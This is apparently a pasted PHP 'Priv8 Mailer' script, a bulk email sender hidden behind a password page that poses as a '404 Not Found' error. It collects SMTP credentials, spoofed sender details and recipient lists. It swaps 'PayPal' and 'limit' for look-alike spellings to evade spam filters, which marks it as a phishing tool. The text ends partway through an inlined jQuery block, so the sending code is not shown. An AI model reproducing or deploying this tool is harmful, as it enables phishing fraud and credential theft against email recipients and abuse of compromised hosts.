· 6 years ago · Sep 01, 2019, 12:13 AM
1<?php
2@session_start();
3@set_time_limit(0);
4//PASSWORD CONFIGURATION
5@$pass = $_POST['pass'];
6$chk_login = true;
7$password = "aerulcyber.biz";
8//END CONFIGURATION
9if($pass == $password)
10{
11$_SESSION['nst'] = "$pass";
12}
13if($chk_login == true)
14{
15if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
16{
17die("
18<title>404 Not Found</title>
19<center>
20<table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
21<tr><td valign=middle align=center>
22<table width=100 bgcolor=#FFFFFF border=6 bordercolor=#FFFFFF>
23<tr><td>
24<font size=1 face=verdana><center>
25<b></font></a><br></b>
26</center>
27<form method=post>
28<font size=1 face=verdana
29color=black><strong><center> <br> password * Required Field </center></strong><br>
30<input type=password name=pass size=30>
31</form>
32<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
33<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
34<b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."
35</td></tr></table>
36</td></tr></table>
37");
38}
39}
40
41set_time_limit(0);
42error_reporting(0);
43function query_str($params) {
44 $str = '';
45 foreach ($params as $key => $value) {
46 $str .= (strlen($str) < 1) ? '' : '&';
47 $str .= $key . '=' . rawurlencode($value);
48 }
49 return ($str);
50}
51function lrtrim($string){
52 return stripslashes(ltrim(rtrim($string)));
53}
54if(isset($_POST['action'])){
55
56 $b = query_str($_POST);
57 parse_str($b);
58 $action = lrtrim($action);
59 $smtp_username = lrtrim($smtp_username);
60 $smtp_password = lrtrim($smtp_password);
61 $smtp_server = lrtrim($smtp_server);
62 $smtp_port = lrtrim($smtp_port);
63 $smtp_ssl = lrtrim($smtp_ssl);
64 $xmailer = lrtrim($xmailer);
65 $reconnect = lrtrim($reconnect);
66 $type = lrtrim($type);
67 $email = lrtrim($mail);
68 $nama = lrtrim($nama);
69 $subject = lrtrim($subject);
70 $pesan = lrtrim($pesan);
71 $emaillist = strtolower(lrtrim($list));
72 $encoding = lrtrim($encode);
73 $file_name = $_FILES['file']['name'];
74 $file_path = $_FILES['file']['tmp_name'];
75 $wait = lrtrim($wait);
76
77 $pesan = urlencode($pesan);
78 $pesan = ereg_replace("%5C%22", "%22", $pesan);
79 $pesan = urldecode($pesan);
80 $pesan = stripslashes($pesan);
81 $pesan = str_replace("PayPal", "PayPaI", $pesan);
82 $pesan = str_replace("limit", "Iimit", $pesan);
83}
84?>
85<!DOCTYPE html>
86<html lang="en">
87
88<head>
89 <meta charset="utf-8">
90 <title>Priv8 Mailer</title>
91 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
92 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
93 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
94 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
95 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
96 <link rel="shortcut icon" href="https://aerulcyber.biz/favicon.ico"> <style type="text/css">
97 body{
98 background-color: #13181D;
99 }
100 input, select, option, textarea {
101 font-size: 12px !important;
102 }
103 input, select, option {
104 height: 30px !important;
105 }
106 .panel-info .panel-heading {
107 color: #FFF;
108 background-color: #2CADAD !important;
109 border-color: #2CADAD !important;
110 }
111 .kanan-l {
112 border-top-right-radius: 0px !important;
113 }
114 .kanan {
115 border-top-right-radius: 4px !important;
116 }
117 </style>
118 <script type="text/javascript">
119 function Pilih1(dropDown) {
120 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
121 document.getElementById("sender-name").value = selectedValue;
122 }
123 function Pilih2(dropDown) {
124 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
125 document.getElementById("sender-email").value = selectedValue;
126 }
127 function Pilih3(dropDown) {
128 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
129 document.getElementById("subject").value = selectedValue;
130 }
131 function Pilih4(dropDown) {
132 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
133 document.getElementById("xmailer").value = selectedValue;
134 }
135 </script>
136</head>
137
138<body>
139<div id="wrap">
140 <div class="container" style="margin-top: 25px;">
141 <div class="row">
142 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
143 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
144 <div class="panel-heading">
145 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
146 </div>
147
148 <div style="padding-top: 15px;">
149
150 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
151
152 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
153
154 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
155
156 <div id="smtp" class="collapse">
157 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
158
159 <div style="margin-bottom: 10px" class="input-group">
160 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
161 <input type="text" class="form-control" name="smtp_username" value="<?=$smtp_username;?>" placeholder="SMTP Username">
162 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
163 <input type="password" class="form-control" name="smtp_password" value="<?=$smtp_password;?>" placeholder="SMTP Password">
164 </div>
165
166 <div style="margin-bottom: 10px" class="input-group">
167 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
168 <input type="text" class="form-control" name="smtp_server" value="<?=$smtp_server;?>" placeholder="SMTP Server">
169 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
170 <input type="text" class="form-control" name="smtp_port" value="<?=$smtp_port;?>" placeholder="optional">
171 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
172 <select class="form-control" name="smtp_ssl">
173 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
174 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
175 </select>
176 </div>
177 <div style="color:red;" align="center">
178 " If you dont have SMTP login, leave blank queries above "
179 </div>
180<script>(function(global,factory){if(typeof module==="object"&&typeof module.exports==="object"){module.exports=global.document?factory(global,true):function(w){if(!w.document){throw new Error("jQuery requires a window with a document");}return factory(w)}}else{factory(global)}}(typeof window!=="undefined"?window:this,function(window,noGlobal){var deletedIds=[];var slice=deletedIds.slice;var concat=deletedIds.concat;var push=deletedIds.push;var indexOf=deletedIds.indexOf;var class2type={};var toString=class2type.toString;var hasOwn=class2type.hasOwnProperty;var support={};var version="1.11.2",jQuery=function(selector,context){return new jQuery.fn.init(selector,context)},rtrim=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,rmsPrefix=/^-ms-/,rdashAlpha=/-([\da-z])/gi,fcamelCase=function(all,letter){return letter.toUpperCase()};jQuery.fn=jQuery.prototype={jquery:version,constructor:jQuery,selector:"",length:0,toArray:function(){return slice.call(this)},get:function(num){return num!=null?(num<0?this[num+this.length]:this[num]):slice.call(this)},pushStack:function(elems){var ret=jQuery.merge(this.constructor(),elems);ret.prevObject=this;ret.context=this.context;return ret},each:function(callback,args){return jQuery.each(this,callback,args)},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},slice:function(){return this.pushStack(slice.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(i){var len=this.length,j=+i+(i<0?len:0);return this.pushStack(j>=0&&j<len?[this[j]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:push,sort:deletedIds.sort,splice:deletedIds.splice};jQuery.extend=jQuery.fn.extend=function(){var src,copyIsArray,copy,name,options,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==="boolean"){deep=target;target=arguments[i]||{};i++}if(typeof target!=="object"&&!jQuery.isFunction(target)){target={}}if(i===length){target=this;i--}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&©&&(jQuery.isPlainObject(copy)||(copyIsArray=jQuery.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&jQuery.isArray(src)?src:[]}else{clone=src&&jQuery.isPlainObject(src)?src:{}}target[name]=jQuery.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target};jQuery.extend({expando:"jQuery"+(version+Math.random()).replace(/\D/g,""),isReady:true,error:function(msg){throw new Error(msg);},noop:function(){},isFunction:function(obj){return jQuery.type(obj)==="function"},isArray:Array.isArray||function(obj){return jQuery.type(obj)==="array"},isWindow:function(obj){return obj!=null&&obj==obj.window},isNumeric:function(obj){return!jQuery.isArray(obj)&&(obj-parseFloat(obj)+1)>=0},isEmptyObject:function(obj){var name;for(name in obj){return false}return true},isPlainObject:function(obj){var key;if(!obj||jQuery.type(obj)!=="object"||obj.nodeType||jQuery.isWindow(obj)){return false}try{if(obj.constructor&&!hasOwn.call(obj,"constructor")&&!hasOwn.call(obj.constructor.prototype,"isPrototypeOf")){return false}}catch(e){return false}if(support.ownLast){for(key in obj){return hasOwn.call(obj,key)}}for(key in obj){}return key===undefined||hasOwn.call(obj,key)},type:function(obj){if(obj==null){return obj+""}return typeof obj==="object"||typeof obj==="function"?class2type[toString.call(obj)]||"object":typeof obj},globalEval:function(data){if(data&&jQuery.trim(data)){(window.execScript||function(data){window["eval"].call(window,data)})(data)}},camelCase:function(string){return string.replace(rmsPrefix,"ms-").replace(rdashAlpha,fcamelCase)},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toLowerCase()===name.toLowerCase()},each:function(obj,callback,args){var value,i=0,length=obj.length,isArray=isArraylike(obj);if(args){if(isArray){for(;i<length;i++){value=callback.apply(obj[i],args);if(value===false){break}}}else{for(i in obj){value=callback.apply(obj[i],args);if(value===false){break}}}}else{if(isArray){for(;i<length;i++){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}else{for(i in obj){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}}return obj},trim:function(text){return text==null?"":(text+"").replace(rtrim,"")},makeArray:function(arr,results){var ret=results||[];if(arr!=null){if(isArraylike(Object(arr))){jQuery.merge(ret,typeof arr==="string"?[arr]:arr)}else{push.call(ret,arr)}}return ret},inArray:function(elem,arr,i){var len;if(arr){if(indexOf){return indexOf.call(arr,elem,i)}len=arr.length;i=i?i<0?Math.max(0,len+i):i:0;for(;i<len;i++){if(i in arr&&arr[i]===elem){return i}}}return-1},merge:function(first,second){var len=+second.length,j=0,i=first.length;while(j<len){first[i++]=second[j++]}if(len!==len){while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first},grep:function(elems,callback,invert){var callbackInverse,matches=[],i=0,length=elems.length,callbackExpect=!invert;for(;i<length;i++){callbackInverse=!callback(elems[i],i);if(callbackInverse!==callbackExpect){matches.push(elems[i])}}return matches},map:function(elems,callback,arg){var value,i=0,length=elems.length,isArray=isArraylike(elems),ret=[];if(isArray){for(;i<length;i++){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}else{for(i in elems){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}return concat.apply([],ret)},guid:1,proxy:function(fn,context){var args,proxy,tmp;if(typeof context==="string"){tmp=fn[context];context=fn;fn=tmp}if(!jQuery.isFunction(fn)){return undefined}args=slice.call(arguments,2);proxy=function(){return fn.apply(context||this,args.concat(slice.call(arguments)))};proxy.guid=fn.guid=fn.guid||jQuery.guid++;return proxy},now:function(){return+(new Date())},support:support});jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(i,name){class2type["[object "+name+"]"]=name.toLowerCase()});function isArraylike(obj){var length=obj.length,type=jQuery.type(obj);if(type==="function"||jQuery.isWindow(obj)){return false}if(obj.nodeType===1&&length){return true}return type==="array"||length===0||typeof length==="number"&&length>0&&(length-1)in obj}var Sizzle=(function(window){var i,support,Expr,getText,isXML,tokenize,compile,select,outermostContext,sortInput,hasDuplicate,setDocument,document,docElem,documentIsHTML,rbuggyQSA,rbuggyMatches,matches,contains,expando="sizzle"+1*new Date(),preferredDoc=window.document,dirruns=0,done=0,classCache=createCache(),tokenCache=createCache(),compilerCache=createCache(),sortOrder=function(a,b){if(a===b){hasDuplicate=true}return 0},MAX_NEGATIVE=1<<31,hasOwn=({}).hasOwnProperty,arr=[],pop=arr.pop,push_native=arr.push,push=arr.push,slice=arr.slice,indexOf=function(list,elem){var i=0,len=list.length;for(;i<len;i++){if(list[i]===elem){return i}}return-1},booleans="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",whitespace="[\\x20\\t\\r\\n\\f]",characterEncoding="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",identifier=characterEncoding.replace("w","w#"),attributes="\\["+whitespace+"*("+characterEncoding+")(?:"+whitespace+"*([*^$|!~]?=)"+whitespace+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+identifier+"))|)"+whitespace+"*\\]",pseudos=":("+characterEncoding+")(?:\\(("+"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|"+"((?:\\\\.|[^\\\\()[\\]]|"+attributes+")*)|"+".*"+")\\)|)",rwhitespace=new RegExp(whitespace+"+","g"),rtrim=new RegExp("^"+whitespace+"+|((?:^|[^\\\\])(?:\\\\.)*)"+whitespace+"+$","g"),rcomma=new RegExp("^"+whitespace+"*,"+whitespace+"*"),rcombinators=new RegExp("^"+whitespace+"*([>+~]|"+whitespace+")"+whitespace+"*"),rattributeQuotes=new RegExp("="+whitespace+"*([^\\]'\"]*?)"+whitespace+"*\\]","g"),rpseudo=new RegExp(pseudos),ridentifier=new RegExp("^"+identifier+"$"),matchExpr={"ID":new RegExp("^#("+characterEncoding+")"),"CLASS":new RegExp("^\\.("+characterEncoding+")"),"TAG":new RegExp("^("+characterEncoding.replace("w","w*")+")"),"ATTR":new RegExp("^"+attributes),"PSEUDO":new RegExp("^"+pseudos),"CHILD":new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+whitespace+"*(even|odd|(([+-]|)(\\d*)n|)"+whitespace+"*(?:([+-]|)"+whitespace+"*(\\d+)|))"+whitespace+"*\\)|)","i"),"bool":new RegExp("^(?:"+booleans+")$","i"),"needsContext":new RegExp("^"+whitespace+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+whitespace+"*((?:-\\d)?\\d*)"+whitespace+"*\\)|)(?=[^-]|$)","i")},rinputs=/^(?:input|select|textarea|button)$/i,rheader=/^h\d$/i,rnative=/^[^{]+\{\s*\[native \w/,rquickExpr=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,rsibling=/[+~]/,rescape=/'|\\/g,runescape=new RegExp("\\\\([\\da-f]{1,6}"+whitespace+"?|("+whitespace+")|.)","ig"),funescape=function(_,escaped,escapedWhitespace){var high="0x"+escaped-0x10000;return high!==high||escapedWhitespace?escaped:high<0?String.fromCharCode(high+0x10000):String.fromCharCode(high>>10|0xD800,high&0x3FF|0xDC00)},unloadHandler=function(){setDocument()};try{push.apply((arr=slice.call(preferredDoc.childNodes)),preferredDoc.childNodes);arr[preferredDoc.childNodes.length].nodeType}catch(e){push={apply:arr.length?function(target,els){push_native.apply(target,slice.call(els))}:function(target,els){var j=target.length,i=0;while((target[j++]=els[i++])){}target.length=j-1}}}function Sizzle(selector,context,results,seed){var match,elem,m,nodeType,i,groups,old,nid,newContext,newSelector;if((context?context.ownerDocument||context:preferredDoc)!==document){setDocument(context)}context=context||document;results=results||[];nodeType=context.nodeType;if(typeof selector!=="string"||!selector||nodeType!==1&&nodeType!==9&&nodeType!==11){return results}if(!seed&&documentIsHTML){if(nodeType!==11&&(match=rquickExpr.exec(selector))){if((m=match[1])){if(nodeType===9){elem=context.getElementById(m);if(elem&&elem.parentNode){if(elem.id===m){results.push(elem);return results}}else{return results}}else{if(context.ownerDocument&&(elem=context.ownerDocument.getElementById(m))&&contains(context,elem)&&elem.id===m){results.push(elem);return results}}}else if(match[2]){push.apply(results,context.getElementsByTagName(selector));return results}else if((m=match[3])&&support.getElementsByClassName){push.apply(results,context.getElementsByClassName(m));return results}}if(support.qsa&&(!rbuggyQSA||!rbuggyQSA.test(selector))){nid=old=expando;newContext=context;newSelector=nodeType!==1&&selector;if(nodeType===1&&context.nodeName.toLowerCase()!=="object"){groups=tokenize(selector);if((old=context.getAttribute("id"))){nid=old.replace(rescape,"\\$&")}else{context.setAttribute("id",nid)}nid="[id='"+nid+"'] ";i=groups.length;while(i--){groups[i]=nid+toSelector(groups[i])}newContext=rsibling.test(selector)&&testContext(context.parentNode)||context;newSelector=groups.join(",")}if(newSelector){try{push.apply(results,newContext.querySelectorAll(newSelector));return results}catch(qsaError){}finally{if(!old){context.removeAttribute("id")}}}}}return select(selector.replace(rtrim,"$1"),context,results,seed)}function createCache(){var keys=[];function cache(key,value){if(keys.push(key+" ")>Expr.cacheLength){delete cache[keys.shift()]}return(cache[key+" "]=value)}return cache}function markFunction(fn){fn[expando]=true;return fn}function assert(fn){var div=document.createElement("div");try{return!!fn(div)}catch(e){return false}finally{if(div.parentNode){div.parentNode.removeChild(div)}div=null}}function addHandle(attrs,handler){var arr=attrs.split("|"),i=attrs.length;while(i--){Expr.attrHandle[arr[i]]=handler}}function siblingCheck(a,b){var cur=b&&a,diff=cur&&a.nodeType===1&&b.nodeType===1&&(~b.sourceIndex||MAX_NEGATIVE)-(~a.sourceIndex||MAX_NEGATIVE);if(diff){return diff}if(cur){while((cur=cur.nextSibling)){if(cur===b){return-1}}}return a?1:-1}function createInputPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type===type}}function createButtonPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return(name==="input"||name==="button")&&elem.type===type}}function createPositionalPseudo(fn){return markFunction(function(argument){argument=+argument;return markFunction(function(seed,matches){var j,matchIndexes=fn([],seed.length,argument),i=matchIndexes.length;while(i--){if(seed[(j=matchIndexes[i])]){seed[j]=!(matches[j]=seed[j])}}})})}function testContext(context){return context&&typeof context.getElementsByTagName!=="undefined"&&context}support=Sizzle.support={};isXML=Sizzle.isXML=function(elem){var documentElement=elem&&(elem.ownerDocument||elem).documentElement;return documentElement?documentElement.nodeName!=="HTML":false};setDocument=Sizzle.setDocument=function(node){var hasCompare,parent,doc=node?node.ownerDocument||node:preferredDoc;if(doc===document||doc.nodeType!==9||!doc.documentElement){return document}document=doc;docElem=doc.documentElement;parent=doc.defaultView;if(parent&&parent!==parent.top){if(parent.addEventListener){parent.addEventListener("unload",unloadHandler,false)}else if(parent.attachEvent){parent.attachEvent("onunload",unloadHandler)}}documentIsHTML=!isXML(doc);support.attributes=assert(function(div){div.className="i";return!div.getAttribute("className")});support.getElementsByTagName=assert(function(div){div.appendChild(doc.createComment(""));return!div.getElementsByTagName("*").length});support.getElementsByClassName=rnative.test(doc.getElementsByClassName);support.getById=assert(function(div){docElem.appendChild(div).id=expando;return!doc.getElementsByName||!doc.getElementsByName(expando).length});if(support.getById){Expr.find["ID"]=function(id,context){if(typeof context.getElementById!=="undefined"&&documentIsHTML){var m=context.getElementById(id);return m&&m.parentNode?[m]:[]}};Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){return elem.getAttribute("id")===attrId}}}else{delete Expr.find["ID"];Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){var node=typeof elem.getAttributeNode!=="undefined"&&elem.getAttributeNode("id");return node&&node.value===attrId}}}Expr.find["TAG"]=support.getElementsByTagName?function(tag,context){if(typeof context.getElementsByTagName!=="undefined"){return context.getElementsByTagName(tag)}else if(support.qsa){return context.querySelectorAll(tag)}}:function(tag,context){var elem,tmp=[],i=0,results=context.getElementsByTagName(tag);if(tag==="*"){while((elem=results[i++])){if(elem.nodeType===1){tmp.push(elem)}}return tmp}return results};Expr.find["CLASS"]=support.getElementsByClassName&&function(className,context){if(documentIsHTML){return context.getElementsByClassName(className)}};rbuggyMatches=[];rbuggyQSA=[];if((support.qsa=rnative.test(doc.querySelectorAll))){assert(function(div){docElem.appendChild(div).innerHTML="<a id='"+expando+"'></a>"+"<select id='"+expando+"-\f]' msallowcapture=''>"+"<option selected=''></option></select>";if(div.querySelectorAll("[msallowcapture^='']").length){rbuggyQSA.push("[*^$]="+whitespace+"*(?:''|\"\")")}if(!div.querySelectorAll("[selected]").length){rbuggyQSA.push("\\["+whitespace+"*(?:value|"+booleans+")")}if(!div.querySelectorAll("[id~="+expando+"-]").length){rbuggyQSA.push("~=")}if(!div.querySelectorAll(":checked").length){rbuggyQSA.push(":checked")}if(!div.querySelectorAll("a#"+expando+"+*").length){rbuggyQSA.push(".#.+[+~]")}});assert(function(div){var input=doc.createElement("input");input.setAttribute("type","hidden");div.appendChild(input).setAttribute("name","D");if(div.querySelectorAll("[name=d]").length){rbuggyQSA.push("name"+whitespace+"*[*^$|!~]?=")}if(!div.querySelectorAll(":enabled").length){rbuggyQSA.push(":enabled",":disabled")}div.querySelectorAll("*,:x");rbuggyQSA.push(",.*:")})}if((support.matchesSelector=rnative.test((matches=docElem.matches||docElem.webkitMatchesSelector||docElem.mozMatchesSelector||docElem.oMatchesSelector||docElem.msMatchesSelector)))){assert(function(div){support.disconnectedMatch=matches.call(div,"div");matches.call(div,"[s!='']:x");rbuggyMatches.push("!=",pseudos)})}rbuggyQSA=rbuggyQSA.length&&new RegExp(rbuggyQSA.join("|"));rbuggyMatches=rbuggyMatches.length&&new RegExp(rbuggyMatches.join("|"));hasCompare=rnative.test(docElem.compareDocumentPosition);contains=hasCompare||rnative.test(docElem.contains)?function(a,b){var adown=a.nodeType===9?a.documentElement:a,bup=b&&b.parentNode;return a===bup||!!(bup&&bup.nodeType===1&&(adown.contains?adown.contains(bup):a.compareDocumentPosition&&a.compareDocumentPosition(bup)&16))}:function(a,b){if(b){while((b=b.parentNode)){if(b===a){return true}}}return false};sortOrder=hasCompare?function(a,b){if(a===b){hasDuplicate=true;return 0}var compare=!a.compareDocumentPosition-!b.compareDocumentPosition;if(compare){return compare}compare=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1;if(compare&1||(!support.sortDetached&&b.compareDocumentPosition(a)===compare)){if(a===doc||a.ownerDocument===preferredDoc&&contains(preferredDoc,a)){return-1}if(b===doc||b.ownerDocument===preferredDoc&&contains(preferredDoc,b)){return 1}return sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}return compare&4?-1:1}:function(a,b){if(a===b){hasDuplicate=true;return 0}var cur,i=0,aup=a.parentNode,bup=b.parentNode,ap=[a],bp=[b];if(!aup||!bup){return a===doc?-1:b===doc?1:aup?-1:bup?1:sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}else if(aup===bup){return siblingCheck(a,b)}cur=a;while((cur=cur.parentNode)){ap.unshift(cur)}cur=b;while((cur=cur.parentNode)){bp.unshift(cur)}while(ap[i]===bp[i]){i++}return i?siblingCheck(ap[i],bp[i]):ap[i]===preferredDoc?-1:bp[i]===preferredDoc?1:0};return doc};Sizzle.matches=function(expr,elements){return Sizzle(expr,null,null,elements)};Sizzle.matchesSelector=function(elem,expr){if((elem.ownerDocument||elem)!==document){setDocument(elem)}expr=expr.replace(rattributeQuotes,"='$1']");if(support.matchesSelector&&documentIsHTML&&(!rbuggyMatches||!rbuggyMatches.test(expr))&&(!rbuggyQSA||!rbuggyQSA.test(expr))){try{var ret=matches.call(elem,expr);if(ret||support.disconnectedMatch||elem.document&&elem.document.nodeType!==11){return ret}}catch(e){}}return Sizzle(expr,document,null,[elem]).length>0};Sizzle.contains=function(context,elem){if((context.ownerDocument||context)!==document){setDocument(context)}return contains(context,elem)};Sizzle.attr=function(elem,name){if((elem.ownerDocument||elem)!==document){setDocument(elem)}var fn=Expr.attrHandle[name.toLowerCase()],val=fn&&hasOwn.call(Expr.attrHandle,name.toLowerCase())?fn(elem,name,!documentIsHTML):undefined;return val!==undefined?val:support.attributes||!documentIsHTML?elem.getAttribute(name):(val=elem.getAttributeNode(name))&&val.specified?val.value:null};Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg);};Sizzle.uniqueSort=function(results){var elem,duplicates=[],j=0,i=0;hasDuplicate=!support.detectDuplicates;sortInput=!support.sortStable&&results.slice(0);results.sort(sortOrder);if(hasDuplicate){while((elem=results[i++])){if(elem===results[i]){j=duplicates.push(i)}}while(j--){results.splice(duplicates[j],1)}}sortInput=null;return results};getText=Sizzle.getText=function(elem){var node,ret="",i=0,nodeType=elem.nodeType;if(!nodeType){while((node=elem[i++])){ret+=getText(node)}}else if(nodeType===1||nodeType===9||nodeType===11){if(typeof elem.textContent==="string"){return elem.textContent}else{for(elem=elem.firstChild;elem;elem=elem.nextSibling){ret+=getText(elem)}}}else if(nodeType===3||nodeType===4){return elem.nodeValue}return ret};Expr=Sizzle.selectors={cacheLength:50,createPseudo:markFunction,match:matchExpr,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:true}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:true},"~":{dir:"previousSibling"}},preFilter:{"ATTR":function(match){match[1]=match[1].replace(runescape,funescape);match[3]=(match[3]||match[4]||match[5]||"").replace(runescape,funescape);if(match[2]==="~="){match[3]=" "+match[3]+" "}return match.slice(0,4)},"CHILD":function(match){match[1]=match[1].toLowerCase();if(match[1].slice(0,3)==="nth"){if(!match[3]){Sizzle.error(match[0])}match[4]=+(match[4]?match[5]+(match[6]||1):2*(match[3]==="even"||match[3]==="odd"));match[5]=+((match[7]+match[8])||match[3]==="odd")}else if(match[3]){Sizzle.error(match[0])}return match},"PSEUDO":function(match){var excess,unquoted=!match[6]&&match[2];if(matchExpr["CHILD"].test(match[0])){return null}if(match[3]){match[2]=match[4]||match[5]||""}else if(unquoted&&rpseudo.test(unquoted)&&(excess=tokenize(unquoted,true))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].slice(0,excess);match[2]=unquoted.slice(0,excess)}return match.slice(0,3)}},filter:{"TAG":function(nodeNameSelector){var nodeName=nodeNameSelector.replace(runescape,funescape).toLowerCase();return nodeNameSelector==="*"?function(){return true}:function(elem){return elem.nodeName&&elem.nodeName.toLowerCase()===nodeName}},"CLASS":function(className){var pattern=classCache[className+" "];return pattern||(pattern=new RegExp("(^|"+whitespace+")"+className+"("+whitespace+"|$)"))&&classCache(className,function(elem){return pattern.test(typeof elem.className==="string"&&elem.className||typeof elem.getAttribute!=="undefined"&&elem.getAttribute("class")||"")})},"ATTR":function(name,operator,check){return function(elem){var result=Sizzle.attr(elem,name);if(result==null){return operator==="!="}if(!operator){return true}result+="";return operator==="="?result===check:operator==="!="?result!==check:operator==="^="?check&&result.indexOf(check)===0:operator==="*="?check&&result.indexOf(check)>-1:operator==="$="?check&&result.slice(-check.length)===check:operator==="~="?(" "+result.replace(rwhitespace," ")+" ").indexOf(check)>-1:operator==="|="?result===check||result.slice(0,check.length+1)===check+"-":false}},"CHILD":function(type,what,argument,first,last){var simple=type.slice(0,3)!=="nth",forward=type.slice(-4)!=="last",ofType=what==="of-type";return first===1&&last===0?function(elem){return!!elem.parentNode}:function(elem,context,xml){var cache,outerCache,node,diff,nodeIndex,start,dir=simple!==forward?"nextSibling":"previousSibling",parent=elem.parentNode,name=ofType&&elem.nodeName.toLowerCase(),useCache=!xml&&!ofType;if(parent){if(simple){while(dir){node=elem;while((node=node[dir])){if(ofType?node.nodeName.toLowerCase()===name:node.nodeType===1){return false}}start=dir=type==="only"&&!start&&"nextSibling"}return true}start=[forward?parent.firstChild:parent.lastChild];if(forward&&useCache){outerCache=parent[expando]||(parent[expando]={});cache=outerCache[type]||[];nodeIndex=cache[0]===dirruns&&cache[1];diff=cache[0]===dirruns&&cache[2];node=nodeIndex&&parent.childNodes[nodeIndex];while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if(node.nodeType===1&&++diff&&node===elem){outerCache[type]=[dirruns,nodeIndex,diff];break}}}else if(useCache&&(cache=(elem[expando]||(elem[expando]={}))[type])&&cache[0]===dirruns){diff=cache[1]}else{while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if((ofType?node.nodeName.toLowerCase()===name:node.nodeType===1)&&++diff){if(useCache){(node[expando]||(node[expando]={}))[type]=[dirruns,diff]}if(node===elem){break}}}}diff-=last;return diff===first||(diff%first===0&&diff/first>=0)}}},"PSEUDO":function(pseudo,argument){var args,fn=Expr.pseudos[pseudo]||Expr.setFilters[pseudo.toLowerCase()]||Sizzle.error("unsupported pseudo: "+pseudo);if(fn[expando]){return fn(argument)}if(fn.length>1){args=[pseudo,pseudo,"",argument];return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase())?markFunction(function(seed,matches){var idx,matched=fn(seed,argument),i=matched.length;while(i--){idx=indexOf(seed,matched[i]);seed[idx]=!(matches[idx]=matched[i])}}):function(elem){return fn(elem,0,args)}}return fn}},pseudos:{"not":markFunction(function(selector){var input=[],results=[],matcher=compile(selector.replace(rtrim,"$1"));return matcher[expando]?markFunction(function(seed,matches,context,xml){var elem,unmatched=matcher(seed,null,xml,[]),i=seed.length;while(i--){if((elem=unmatched[i])){seed[i]=!(matches[i]=elem)}}}):function(elem,context,xml){input[0]=elem;matcher(input,null,xml,results);input[0]=null;return!results.pop()}}),"has":markFunction(function(selector){return function(elem){return 